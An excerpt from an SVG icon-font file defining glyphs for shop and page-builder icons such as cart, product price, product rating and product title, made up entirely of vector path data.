<glyph glyph-name="plus-square" unicode="&#xe8cc;" d="M958 638v-575c0-46-16-88-50-121s-75-50-120-50h-575c-46 0-88 16-121 50s-50 75-50 121v575c0 45 16 87 50 120s75 50 121 50h575c45 0 87-16 120-50s50-75 50-120z m-508-242h-175c-25 0-46-21-46-46s21-46 46-46h175v-175c0-25 21-46 46-46 25 0 46 21 46 46v175h175c25 0 46 21 46 46s-21 46-46 46h-175v175c0 25-21 46-46 46-25 0-46-21-46-46v-175z" horiz-adv-x="1000" />

<glyph glyph-name="minus-square" unicode="&#xe8cd;" d="M958 638v-575c0-46-16-88-50-121s-75-50-120-50h-575c-46 0-88 16-121 50s-50 75-50 121v575c0 45 16 87 50 120s75 50 121 50h575c45 0 87-16 120-50s50-75 50-120z m-679-334h446c25 0 46 21 46 46s-21 46-46 46h-446c-25 0-46-21-46-46s17-46 46-46z" horiz-adv-x="1000" />

<glyph glyph-name="cloud-check" unicode="&#xe8ce;" d="M392 675c133 33 241-17 308-146 13-21 4-50-17-62-20-13-45-4-58 16-50 92-117 125-212 100-96-25-146-95-159-225l-4-33-29-8c-92-21-133-71-133-150-5-96 37-134 125-138l525 0c129-12 179 29 179 134 0 62-25 104-75 133-21 12-29 37-21 62 12 21 37 34 58 21 84-46 125-116 125-212 0-163-96-242-266-225l-521 0c-138 4-217 87-213 233 0 113 63 192 171 229 17 146 92 238 217 271z m496-54c12 12 29 12 41 0s13-33 0-46l-329-375c0 0 0 0 0 0-17-17-42-17-54 0l-158 175c-13 13-13 33 0 46 12 12 29 12 41 0l142-158 317 358z" horiz-adv-x="1000" />

<glyph glyph-name="drag-n-drop" unicode="&#xe8cf;" d="M46 779c0-13-10-24-23-24s-23 11-23 24v48c0 13 10 23 23 23h49c13 0 23-10 23-23s-10-24-23-24h-25v-24z m122 25c-13 0-23 10-23 23s10 23 23 23h92c13 0 24-10 24-23s-11-24-24-24h-92z m185 0c-13 0-23 10-23 23s10 23 23 23h93c13 0 23-10 23-23s-10-24-23-24h-93z m186 0c-13 0-24 10-24 23s11 23 24 23h92c13 0 24-10 24-23s-11-23-24-23h-92z m209 0c-13 0-24 10-24 23s11 23 24 23h48c13 0 23-10 23-23v-48c0-13-10-24-23-24-13 0-23 11-23 24v25h-25z m25-122c0 13 10 23 23 23 13 0 23-10 23-23v-92c0-13-10-24-23-24-13 0-23 11-23 24v92z m0-193c0 13 10 23 23 23 13 0 23-10 23-23v-49c0-12-10-23-23-23-13 0-23 11-23 23v49z m-315-363c12 0 23-11 23-23 0-13-11-24-23-24h-93c-13 0-23 11-23 24 0 12 10 23 23 23h93z m-186 0c13 0 23-11 23-23 0-13-10-24-23-24h-92c-13 0-24 11-24 24 0 12 11 23 24 23h92z m-201 0c13 0 24-11 24-23 0-13-11-24-24-24h-48c-13 0-23 11-23 24v48c0 13 10 23 23 23s24-10 24-23v-25h24z m-25 122c0-13-10-24-23-24s-23 11-23 24v92c0 13 10 23 23 23s24-10 24-23v-92z m0 185c0-13-10-23-23-23s-23 10-23 23v92c0 13 10 24 23 24s24-11 24-24v-92z m0 185c0-13-10-23-23-23s-23 10-23 23v93c0 13 10 23 23 23s24-10 24-23v-93z m503-654c-29-22-70-2-70 34v621c0 39 48 58 75 30l434-448c27-28 7-74-31-74h-98l70-145c11-21 2-46-19-57l-134-69c-21-11-48-3-59 19l-77 159-91-70z m17 123l64 49c22 17 54 9 66-16l81-166 56 29-82 169c-14 28 7 62 39 62h65l-288 298v-425z" horiz-adv-x="1000" />

<glyph glyph-name="welcome" unicode="&#xe8d0;" d="M180 511v-559h676v559l-335 216-341-216z m-75 63l390 248c16 10 37 10 53 0l383-247c14-9 22-23 22-39v-630c0-26-22-46-49-46h-772c-27 0-49 20-49 46v629c0 16 8 30 22 39z m421-201c38 52 82 71 134 54 77-24 67-121 38-163-28-39-85-95-172-169v0c-86 74-143 130-171 169-30 42-39 139 38 163 51 17 96-1 133-54l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="handle" unicode="&#xe8d1;" d="M167 138c-46 0-84 37-84 83s38 83 84 83 83-37 83-83-37-83-83-83z m329 0c-46 0-83 37-83 83s37 83 83 83 83-37 83-83-37-83-83-83z m333 0c-46 0-83 37-83 83s37 83 83 83c46 0 84-37 84-83s-38-83-84-83z m-662 254c-46 0-84 37-84 83s38 83 84 83 83-37 83-83-37-83-83-83z m329 0c-46 0-83 37-83 83s37 83 83 83 83-37 83-83-37-83-83-83z m333 0c-46 0-83 37-83 83s37 83 83 83c46 0 84-37 84-83s-38-83-84-83z" horiz-adv-x="1000" />

<glyph glyph-name="cart" unicode="&#xe8d2;" d="M460 58c35 0 63-28 63-62s-28-63-63-63-64 28-64 63 29 62 64 62z m250 0c35 0 63-28 63-62s-28-63-63-63-64 28-64 63 29 62 64 62z m-476 541l139-450c2-5 7-9 12-9h380c6 0 11 4 13 9l138 433c0 1 0 2 0 3 0 8-6 13-13 13l-669 1 0 0z m-13 41h682c30 0 55-24 55-54 0-6-1-11-3-17l-138-433c-7-22-28-38-52-38h-380c-23 0-45 16-52 39l-147 476c-10 35-26 67-48 97-20 27-44 40-75 40-12 0-21 9-21 21s9 21 21 21c45 0 82-20 109-58 21-30 38-61 49-94z" horiz-adv-x="1000" />

<glyph glyph-name="product-add-to-cart" unicode="&#xe8d3;" d="M741 192c-7-9-20-11-29-4-9 6-12 19-5 29 6 8 12 17 17 26 54 90 61 200 22 297-3 7-6 15-10 22-3 6-7 13-11 20-23 39-54 73-92 101-148 108-357 75-465-74s-75-358 74-466c66-48 146-69 226-62 5 1 9 1 13 2 5 0 11 1 16 2 12 2 24 5 36 8 10 4 22-3 25-14 4-11-3-22-14-26-13-3-26-7-40-9-6-1-12-2-18-3-4-1-9-1-14-2-90-8-180 16-255 70-167 122-204 356-83 524s356 205 524 83c42-31 77-69 103-113 4-8 8-15 12-23 4-8 8-16 11-25 45-108 36-232-24-334-6-10-12-19-19-29z m-324 241v125c0 12 9 21 21 21s20-9 20-21v-125h125c12 0 21-9 21-20s-9-21-21-21h-125v-125c0-12-9-21-20-21s-21 9-21 21v125h-125c-12 0-21 9-21 21s9 20 21 20h125z m237-458h126l45 147h-215l44-147z m183 188c18 0 33-15 33-33 0-3 0-7-1-10l-51-164c-4-14-17-23-32-23h-138c-15 0-28 9-33 24l-53 179c0 0 0 1-1 1-3 11-8 22-16 32-4 7-9 10-16 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 6-10 12-20 16-30h241z m-174-301c-16 0-29 13-29 30s13 29 29 29 30-13 30-29-14-30-30-30z m105 0c-17 0-30 13-30 30s13 29 30 29 29-13 29-29-14-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-breadcrumbs" unicode="&#xe8d4;" d="M490 100c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-580 738c-12 0-21 9-21 21s9 21 21 21h167c11 0 20-9 20-21s-9-21-20-21h-167z m500 0c-12 0-21 9-21 21s9 21 21 21h167c11 0 20-9 20-21s-9-21-20-21h-167z m-241 67c-9 6-11 20-5 29 7 9 20 11 30 4l82-60c11-8 11-25 1-33l-84-65c-9-7-22-5-29 4-7 9-5 22 4 29l61 48-60 44z" horiz-adv-x="1000" />

<glyph glyph-name="product-categories" unicode="&#xe8d5;" d="M479 671c0 7 9 12 21 12s21-5 21-12v-100c0-7-9-13-21-13s-21 6-21 13v100z m-208-92c0-11-9-21-21-21s-21 10-21 21v42c0 34 28 62 63 62h416c35 0 63-28 63-62v-42c0-11-9-21-21-21s-21 10-21 21v42c0 12-9 21-21 21h-416c-12 0-21-9-21-21v-42z m-83-21v-41h125v41h-125z m-30 42h184c7 0 12-5 12-12v-100c0-8-5-13-12-13h-184c-7 0-12 5-12 13v100c0 7 5 12 12 12z m280-42v-41h125v41h-125z m-30 42h184c7 0 12-5 12-12v-100c0-8-5-13-12-13h-184c-7 0-12 5-12 13v100c0 7 5 12 12 12z m280-42v-41h125v41h-125z m-30 42h184c7 0 12-5 12-12v-100c0-8-5-13-12-13h-184c-7 0-12 5-12 13v100c0 7 5 12 12 12z m-168-500c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-description" unicode="&#xe8d6;" d="M188 642c-12 0-21 9-21 21s9 20 21 20h626c11 0 21-9 21-20s-10-21-21-21h-626z m0-167c-12 0-21 9-21 21s9 21 21 21h626c11 0 21-9 21-21s-10-21-21-21h-626z m0 83c-12 0-21 10-21 21 0 12 9 21 21 21h527c12 0 21-9 21-21 0-11-9-21-21-21h-527z m0-166c-12 0-21 9-21 21s9 20 21 20h405c12 0 21-9 21-20s-9-21-21-21h-405z m302-292c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-images" unicode="&#xe8d7;" d="M416 437h127l45 147h-216l44-147z m184 189c18 0 33-15 33-33 0-4 0-7-2-10l-51-164c-4-14-17-24-31-24h-139c-15 0-27 10-32 24l-54 179c0 1 0 1 0 1-4 11-9 22-16 33-5 6-10 9-17 9-11 0-21 9-21 21s10 21 21 21c21 0 39-10 51-28 7-9 12-19 16-30h242z m-174-301c-16 0-29 13-29 29 0 16 13 29 29 29s29-13 29-29c0-16-13-29-29-29z m104 0c-16 0-29 13-29 29 0 16 13 29 29 29 16 0 29-13 29-29 0-16-13-29-29-29z m-488 483v-625h875v625h-875z m-21 42h917c11 0 20-9 20-21v-666c0-12-9-21-20-21h-917c-12 0-21 9-21 21v666c0 12 9 21 21 21z m21-792v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z m271-42v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z m271-42v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z m271-42v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="product-info" unicode="&#xe8d8;" d="M490 100c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390v0z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241v0z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-188 552l-4-12c-11-3-21-6-28-8-7-1-16-3-25-3-14 0-25 3-33 8-8 5-12 12-12 20 0 3 0 6 1 9s1 7 3 11l15 39c1 4 2 7 3 10 1 4 1 7 1 10 0 5-1 8-4 10s-8 3-16 3c-4 0-8-1-11-1-5-1-8-2-11-3l4 12c10 3 19 6 28 8s17 3 25 3c14 0 26-3 33-8 8-5 12-12 12-19 0-2-1-5-1-9s-2-8-3-12l-15-38c-1-3-2-7-3-11-1-3-1-7-1-9 0-5 2-9 4-10 4-2 9-3 17-3 3 0 7 0 12 1 4 1 7 1 9 2z m4 162c0-7-4-13-11-17s-15-7-25-7c-9 0-18 2-25 7s-10 10-10 17 3 12 10 17 16 7 25 7 18-2 25-7c7-5 11-10 11-17z m-63-288c-115 0-208 93-208 208s93 208 208 208 209-93 209-208-94-208-209-208z m0 41c92 0 167 75 167 167s-75 167-167 167-166-75-166-167 74-167 166-167z" horiz-adv-x="1000" />

<glyph glyph-name="product-meta" unicode="&#xe8d9;" d="M229 350c0 12-9 21-21 21s-20-9-20-21 9-21 20-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 28 63 62 63 63-28 63-63z m125 0c0 12-9 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 27 63 62 63 63-28 63-63z m125 0c0 12-10 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m41 0c0-35-28-62-62-62s-63 27-63 62 28 63 63 63 62-28 62-63z m-114-250c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-pages" unicode="&#xe8da;" d="M270 37h-21c-12 0-21 9-21 21v45h-45c-12 0-21 9-21 20v429c0 6 2 11 6 15l198 198c4 3 9 6 14 6h264c11 0 21-9 21-21v-45h45c11 0 20-9 20-21v-21h48c12 0 21-9 21-20v-433c0-12-9-21-21-21-11 0-20 9-20 21v412h-28v-412c0-12-9-21-20-21-12 0-21 9-21 21v453h-24v-439c0-12-10-21-21-21-12 0-21 9-21 21v505h-234l-185-185v-399h350c11 0 21-10 21-21s-10-21-21-21h-284v-24h308c12 0 21-9 21-21 0-12-9-21-21-21h-267v-27h293c12 0 21-10 21-21 0-12-9-21-21-21h-314c-11 0-20 9-20 21v48z m425-62h127l45 147h-216l44-147z m184 188c18 0 33-15 33-33 0-3 0-7-2-10l-50-164c-5-14-17-23-32-23h-139c-14 0-27 9-32 24l-54 179c0 0 0 1 0 1-3 11-9 22-16 32-4 7-9 10-17 10-11 0-20 9-20 21s9 20 20 20c21 0 39-9 51-27 7-10 12-20 17-30h241z m-174-301c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-449 711v127l29 30h12v-177c0-12-9-21-21-21h-176v12l29 29h127z" horiz-adv-x="1000" />

<glyph glyph-name="product-price" unicode="&#xe8db;" d="M755 320c-57 0-102 34-106 78-1 12 8 22 19 22 12 1 22-7 23-19 2-21 31-39 64-39 35 0 64 19 64 41 0 21-20 34-64 42l-4 0c-69 13-102 40-102 83 0 46 48 84 106 84 57 0 103-34 106-78 1-11-7-21-19-22-11-2-22 7-23 19-1 22-30 39-64 39-34 0-63-19-63-41 0-21 20-34 63-41l5-1c68-13 101-40 101-83 0-46-47-84-106-84z m0-41c-12 0-21 9-21 21v333c0 12 9 21 21 21s21-9 21-21v-333c0-12-9-21-21-21z m-265-179c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-198 509c15 0 29 14 29 33v107c0 18-13 33-29 33s-28-15-28-33v-107c0-19 13-33 28-33z m0-42c-39 0-70 34-70 75v107c0 41 31 74 70 74s70-33 70-74v-107c0-41-30-75-70-75z m-182 107c-6 0-12-6-12-15v-36c0-8 6-15 12-15h33c6 0 12 7 12 15v36c0 9-6 15-12 15h-33z m-54-15v54c0 60 46 110 103 110 11 0 20-9 20-21 0-11-9-21-20-21-33 0-61-29-61-66 4 1 8 1 12 1h33c30 0 54-26 54-57v-36c0-30-24-56-54-56h-33c-30 0-54 26-54 56v36z m-101 59c15 0 28 15 28 33s-13 33-28 33c-16 0-28-9-28-15 0-12-10-21-21-21s-21 9-21 21c0 32 33 57 70 57 39 0 70-34 70-75 0-21-8-40-21-54 13-14 21-32 21-54 0-40-31-74-70-74-37 0-70 24-70 57 0 11 9 20 21 20s21-9 21-20c0-6 12-15 28-15 15 0 28 14 28 32 0 19-13 33-28 33h-16c-12 0-21 10-21 21s9 21 21 21h16z" horiz-adv-x="1000" />

<glyph glyph-name="product-rating" unicode="&#xe8dc;" d="M490 100c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-258 709c-6-8-6-8-15-10h-17l12-11c5-7 5-7 5-15l-5-27 23 13c8 4 8 4 17 0l22-13-5 27c0 9 0 9 5 15l12 11h-16c-10 2-10 2-15 10l-12 29-11-29z m-4 77c8 10 8 10 21 9 6-4 6-4 9-9l23-55h46c12-3 12-3 16-16-1-7-1-7-5-12l-36-33 10-54c-1-13-1-13-13-19-5 0-5 0-11 2l-45 27-44-27c-13-3-13-3-22 6-3 5-3 5-3 11l10 54-35 33c-7 12-7 12-1 23 5 5 5 5 12 5h46l22 55z m254-77c-6-8-6-8-15-10h-17l12-11c5-7 5-7 5-15l-5-27 23 13c8 4 8 4 17 0l22-13-5 27c0 9 0 9 5 15l12 11h-16c-10 2-10 2-15 10l-12 29-11-29z m-4 77c8 10 8 10 21 9 6-4 6-4 9-9l23-55h46c12-3 12-3 16-16-1-7-1-7-5-12l-36-33 10-54c-1-13-1-13-13-19-5 0-5 0-11 2l-45 27-44-27c-13-3-13-3-22 6-3 5-3 5-3 11l10 54-35 33c-7 12-7 12-1 23 5 5 5 5 12 5h46l22 55z m-496-77c-6-8-6-8-15-10h-17l12-11c5-7 5-7 5-15l-5-27 23 13c8 4 8 4 17 0l22-13-5 27c0 9 0 9 5 15l12 11h-16c-10 2-10 2-15 10l-12 28-11-28z m-4 77c8 10 8 10 21 9 6-4 6-4 9-9l23-55h46c12-3 12-3 16-16-1-7-1-7-5-12l-36-33 10-54c-1-13-1-13-13-19-5 0-5 0-11 2l-45 27-44-27c-13-3-13-3-22 6-3 5-3 5-3 11l10 54-35 33c-7 12-7 12-1 23 5 5 5 5 12 5h46l22 55z" horiz-adv-x="1000" />

<glyph glyph-name="product-related" unicode="&#xe8dd;" d="M42 350h625v63c0 34-28 62-63 62h-500c-34 0-62-28-62-62v-63z m625-42h-625v-354c0-34 28-62 62-62h500c35 0 63 28 63 62v354z m41-354c0-57-46-104-104-104h-500c-57 0-104 47-104 104v459c0 57 47 104 104 104h500c58 0 104-47 104-104v-459z m-583 459c0-12-9-21-21-21s-21 9-21 21 10 20 21 20 21-9 21-20m83 0c0-12-9-21-20-21s-21 9-21 21 9 20 21 20 20-9 20-20m84 0c0-12-9-21-21-21-12 0-21 9-21 21s9 20 21 20c12 0 21-9 21-20m6 235c-4 4-6 9-6 15v83c0 57 46 104 104 104h500c57 0 104-47 104-104v-458c0-58-47-105-104-105h-83c-12 0-21 10-21 21s9 21 21 21h83c34 0 62 28 62 63v354h-645c-6 0-11 2-15 6z m660 35v63c0 34-28 62-62 62h-500c-35 0-63-28-63-62v-63h625z m-541 63c0-12-9-21-21-21s-21 9-21 21 9 21 21 21 21-9 21-21m83 0c0-12-9-21-21-21s-21 9-21 21 10 21 21 21 21-9 21-21m83 0c0-12-9-21-20-21s-21 9-21 21 9 21 21 21 20-9 20-21m-452-265c-3 4-6 9-6 15v83c0 58 47 104 104 104h500c58 0 104-46 104-104v-458c0-58-46-104-104-104h-41c-12 0-21 9-21 21s9 20 21 20h41c35 0 63 28 63 63v354h-646c-6 0-11 3-15 6z m661 36v62c0 35-28 63-63 63h-500c-34 0-62-28-62-63v-62h625z m-542 62c0-11-9-21-21-21s-21 10-21 21c0 12 10 21 21 21s21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21c0 12 9 21 21 21s20-9 20-21m84 0c0-11-9-21-21-21s-21 10-21 21c0 12 9 21 21 21s21-9 21-21m-105-538h126l46 147h-216l44-147z m183 189c19 0 34-15 34-33 0-4-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 23l-54 180c0 0 0 0 0 0-4 12-9 22-16 33-5 7-10 9-17 9-12 0-21 10-21 21s9 21 21 21c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 29s12 29 29 29 29-12 29-29-13-29-29-29z m104 0c-16 0-29 13-29 29s13 29 29 29 29-12 29-29-13-29-29-29z" horiz-adv-x="1000" />

<glyph glyph-name="product-stock" unicode="&#xe8de;" d="M389 435l71 245c7 24 41 19 41-5v-672c0-13-12-23-25-20l-343 75c-9 2-16 10-16 20v335c0 12 9 21 21 21h251z m35-27c-2-9-11-15-20-15h-245v-298l301-65v499l-36-121z m28 243l-299-33-62-183h297l64 216z m-48-258h-342c-14 0-24 14-19 27l76 224c2 8 9 14 17 14l343 37c14 2 26-12 22-26l-76-261c-3-9-12-15-21-15z m429 42c12 0 21-10 21-21v-200c0-12-9-21-21-21s-21 9-21 21v179h-256c-9 0-17 6-20 15l-35 121v-499l130 28c11 2 22-5 24-16 3-11-4-22-15-24l-156-34c-13-3-25 7-25 20v671c0 24 34 29 41 5l71-245h262z m-277-42c-9 0-17 6-20 15l-76 261c-4 14 8 28 22 26l343-37c8 0 15-6 18-14l76-224c4-13-6-27-20-27h-343z m16 42h298l-63 183-298 33 63-216z m169-460h127l45 147h-216l44-147z m184 188c18 0 33-15 33-33 0-3 0-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-27 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-11 0-21 9-21 21s10 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h242z m-174-301c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-tabs" unicode="&#xe8df;" d="M737-25h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-516 738h478c35 0 62-28 62-62v-328c0-11-9-20-20-20s-21 9-21 20v328c0 11-9 20-21 20h-486c-12 0-22 7-27 19l-37 93c-4 8-11 13-20 13h-140c-8 0-16-5-19-14l-40-109c-1-5-2-9-2-14v-468c0-11 9-20 21-20h555c12 0 21-10 21-21s-9-21-21-21h-555c-35 0-63 28-63 62v468c0 9 2 19 5 28l40 110c8 25 32 41 58 41h140c26 0 49-15 58-39l34-86z m219-3l-26 73c-3 8-11 13-20 13h-145c-9 0-18-6-20-15l-12-43c-3-11-14-17-26-14-11 3-17 14-14 26l12 42c7 27 32 46 60 46h145c26 0 49-16 58-41l31-84c5-15-2-32-18-37-5-2-10-3-15-2-11 2-19 13-17 25 1 4 3 8 7 11z m39 29c-3-11-15-18-26-15-11 3-17 15-14 26l11 43c8 27 32 45 60 45h145c26 0 50-16 59-42l44-126c4-11-2-23-13-27s-23 2-26 13l-45 127c-3 8-10 14-19 14h-144c-9 0-17-6-20-16l-12-42z" horiz-adv-x="1000" />

<glyph glyph-name="product-title" unicode="&#xe8e0;" d="M458 308c0 1 0 1 0 1v291h-125v-33c0-12-9-21-20-21s-21 9-21 21v54c0 12 9 21 21 21h333c12 0 21-9 21-21v-54c0-12-9-21-21-21s-21 9-21 21v33h-125v-291c0 0 0 0 0-1h42c11 0 21-9 21-20s-10-21-21-21h-125c-12 0-21 9-21 21s9 20 21 20h41z m32-208c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 